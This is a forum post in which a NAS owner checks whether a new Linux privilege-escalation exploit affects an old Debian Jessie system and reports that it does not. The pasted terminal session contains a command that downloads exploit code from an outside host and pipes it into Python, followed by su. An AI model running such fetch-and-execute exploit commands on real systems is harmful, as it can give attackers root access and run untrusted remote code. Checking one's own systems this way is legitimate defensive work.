New Linux Exploit back to 2017

Dewdman42 wrote:

Does this effect the version of Jessie we are using in Readynas? 

The test in the article gives this result:

admin@NAS:/data/Test$ curl https://copy.fail/exp | python3 && su

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

100 731 0 731 0 0 5801 0 --:--:-- --:--:-- --:--:-- 5801

Traceback (most recent call last):

File "<stdin>", line 9, in <module>

File "<stdin>", line 5, in c

OSError: getsockaddrarg: bad family

admin@NAS:/data/Test$ id

uid=98(admin) gid=98(admin) groups=98(admin),27(sudo),42(shadow)

admin@NAS:/data/Test$

So it appears not.  FWIW Jessie is older than 2017.

I did have to make create a soft link for su in order to run this test (as the NAS puts in /bin, and the python script expects it in /usr/bin).  And of course install python3. (version 3.4.2)

It's possible that the test requires a newer version of python3 though.